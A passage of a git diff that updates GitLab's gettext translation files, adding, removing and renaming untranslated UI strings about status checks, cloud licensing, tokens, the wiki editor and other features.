msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index eac0944b66c..79d88dfcec8 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:30\n"
+"PO-Revision-Date: 2021-07-01 21:13\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -358,6 +354,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,10 +602,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,13 +1654,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
